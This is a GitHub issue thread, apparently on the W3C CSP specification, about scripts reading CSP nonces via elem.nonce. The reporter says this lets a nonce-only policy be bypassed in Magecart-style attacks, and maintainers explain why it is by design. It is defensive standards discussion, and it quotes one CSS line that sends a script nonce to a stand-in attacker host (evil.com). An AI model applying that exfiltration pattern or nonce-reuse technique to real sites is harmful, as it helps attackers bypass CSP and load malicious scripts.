-
Notifications
You must be signed in to change notification settings - Fork 78
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Accessing the nonce
from JS, effectively makes all nonce based CSPs strict-dynamic
#458
Comments
Thanks for the well-written report, @shaialon! I do agree with the general concern about the risks of nonces being readable by scripts, but this is -- for better or worse -- happening by design. There are two major issues to keep in mind here:
As a workaround, authors who want to use nonce-based policies, but are worried about the nonce being read from the DOM by one of the trusted (nonced) scripts and used to transitively load additional scripts, can dynamically add a policy to disable script execution after the DOM has loaded. See the example in the "Mitigating DOMXSS even without nonce support" section at https://dropbox.tech/security/unsafe-inline-and-nonce-deployment -- in this case, the policy could be something like |
Thanks for your report! I wouldn't say a nonce-only (L4) policy is "bypassed" by the ability of blessed JS to access the To sum up my point of view: this is not an issue because if you have script execution in a blessed script, all kinds of nonce-based CSPs become useless (having a double nonce-based + allowlist-based policy - what we call L5 in our presentation - would protect even in this case). |
It won't surprise you to learn that I agree with Artur and Miki. It's worth pulling in folks from other vendors to get their opinions as well, but IMO this is a reasonable part of CSP's threat model, and one that's difficult to change without breaking developer expectations. /cc @johnwilander and @dveditz, who might be able to point to folks in WebKit and Gecko respectively. |
Appreciate your responses and thoughts. A few responses:
I agree that this use case is not CSP's main intent or what it's highly optimized for (out of the box). I do however think it can provide some form of defense-in-depth protection. Many Magecart attacks are at the supply-chain level - could be on 3rd party static files that run in thousands of sites, or on the victims's file CDN. They typically would not be able to typically disable the CSP. Since a common attack pattern is injecting a small "probe" script from the breached asset, and from there loading a custom script from an attacker controlled origin, there is a benefit to the site developer to limit which scripts can be loaded by other scripts in the page (albeit blessed)
Got it. I guess I could imagine instances in which an attacker could get a script to run via another script, but not manage to get ahold of the nonce. I do however still believe that this "hack" to manually propagate the nonces, somewhat undermines the strength of L4 (or at least how I perceived it)... I like the L5 recommendation! I've been focused recently on generating the strict CSP allowlists automatically with a combination of analysis techniques, so this approach totally makes sense.
Interesting idea and approach! I am focused on general CSP technology (that can work on any stack), so this seems as it would be harder to rollout reliably at a generic level, compared to rolling out and L5 allowlist based policy as @mikispag suggested. |
The main challenge with this is that to thwart attacks in the scenario you're describing the browser would have to prevent the "probe" script injected by the attacker from doing one of the following:
To the first point: after an attacker has already managed to execute their initial script, that script will be permitted to communicate with the attacker's infrastructure in multiple ways: using mechanisms not covered by CSP (postMessage, navigations, To the second point: an attacker who can execute their initial script can prepare the environment to turn any information received using one of the techniques above into executable code. The AngularJS ASTInterpreter example mentioned above is just one way to do this; in general, you can write a JavaScript parser in JavaScript delivered in the initial script and bypass any platform-level restrictions on dynamically executing code such as In the end, I expect that all we would achieve by preventing an attacker from re-using a nonce after they've already executed their probe script is that they'd have to write a little more code to get around the platform restrictions that we'd put in place here: we wouldn't be adding a defensible security boundary. (A silly analogy here is that we could also ban any script with the letter "t" -- this would probably break all XSS payloads, but attackers would quickly adjust and rewrite their code to work in the face of such a restriction.) |
@arturjanc Thanks for the thoroughly crafted explanation! You've definitely convinced me that exposing the nonces to JS has more advantages than drawbacks, and that the specs don't need to be changed. Regarding your arguments, while I agree with you that it may be possible for an attacker to technically overcome a very strict CSP, in practice - given the many limitations that attackers have (harder to add a more complex probe, need to custom fit solutions to a specific site CSP), I think a strict CSP would prevent the effects of a Magecart attack in the vast majority of cases, and attacks would focus on more exposed sites (which are plentiful). Also, with regards to your thoughts about current utilization of CSP, I agree that most sites are doing it wrong, which is why my team and I have opened CSP Scanner which detects the use cases you described:
We also opened RapidSec which abstracts away the complexity in managing a CSP, and makes it possible for any site to deploy a strict content-security-policy (along with other best practices such as SameSite cookies and other headers). This is still evolving as we go, but already seeing much stronger policies being deployed by early customers! Cheers, |
The escalation seen here is similar in effect: #243 As per this issue, a Based on my understanding of this, It seems to me that when using |
This is true, but note that this is also the case for a regular nonce-based policy independently of
It's not a bad idea to have an additional CSP with an allowlist, but this is not required to uphold the security properties of a nonce-based CSP. If you have a CSP with a Basically, since controlling the arguments to |
Summary
It is recognized that a
nonce
basedContent-Security-Policy
(CSP) is stronger if it does not allowstrict-dynamic
, since scripts that are running cannot load other scripts arbitrarily.However, the w3c specs, and browser implementations of Chrome and Firefox, allow any running script to extract the
nonce
from a DOM element, thus being able to load any remote script and bypass the CSP.The "strong" policy without
strict-dynamic
, essentially becomesstrict-dynamic
anyway, since any running script can access the nonce from the DOM and use it to load any other script from any origin.Explanation
Background
It is recognized that a L4
nonce
based CSP such as:Would be stronger than an L3 CSP using
strict-dynamic
:Example explanation of this by @mikispag @lweichselbaum in this talk:
Issue with specs
The w3c specs clearly recognize the risk of exposing the nonce, as can be seen in 7.2.2. Nonce exfiltration via content attributes, that blocks
elem.getAttribute('nonce')
(and access via css such asscript[nonce=a] { background: url("https://evil.com/nonce?a");}
).However, the specs intentionally allow scripts to access the
nonce
, as example byelem.nonce
This essentially provides a way to bypass strict L4 policies and "downgrade" them into L3 (or below)
Past Reasoning
The reasoning was also discussed by @arturjanc back in 2016 :
However, the community has since figured that it does not make sense for all libraries to be "csp compatible" as was imagined back in in 2016, and hence decided on the
strict-dynamic
standard, that leaves the decision up to the site developer. If the developer addsstrict-dynamic
- then scripts can automatically load other scripts automatically, and don't have to be "CSP compatible". However, if the developer explicitly sets an L4 nonce policy (withoutstrict-dynamic
) - then scripts should not be able to load other scripts.Problem that this creates
Since the current spec that allows extracting the nonce easily from any existing script DOM node, it essentially downgrades an L4 CSP to L3 - and imposes a
strict-dynamic
even on stronger policies.@mikewest suggest 4 years ago in this comment that an attacker will not have script access:
Today however, attackers may have script access - and the CSP needs to defend against that also. One such prevalent form of attacks on the web client-side is supply chain attacks know as Magecart, in which attackers manage to inject a snippet into a pre-approved script, and dynamically load a custom attack script from an attack-controlled origin. An allowlist based CSP would be able to block such loading of a script, but due to the easy ability to extract nonces from the DOM, an L4 policy would be bypassed in this case.
Context
I submitted this bug report to the chromium project, only to find that current approach of blocking the nonce from
getAttribute
, but having it accessible viaelem.nonce
is the specification.Suggestion
Prevent exposing the
nonce
to script access - which degrades the actual effectiveness of nonces.The developers can specify
strict-dynamic
if they would like to allow scripts to load other scripts.The text was updated successfully, but these errors were encountered: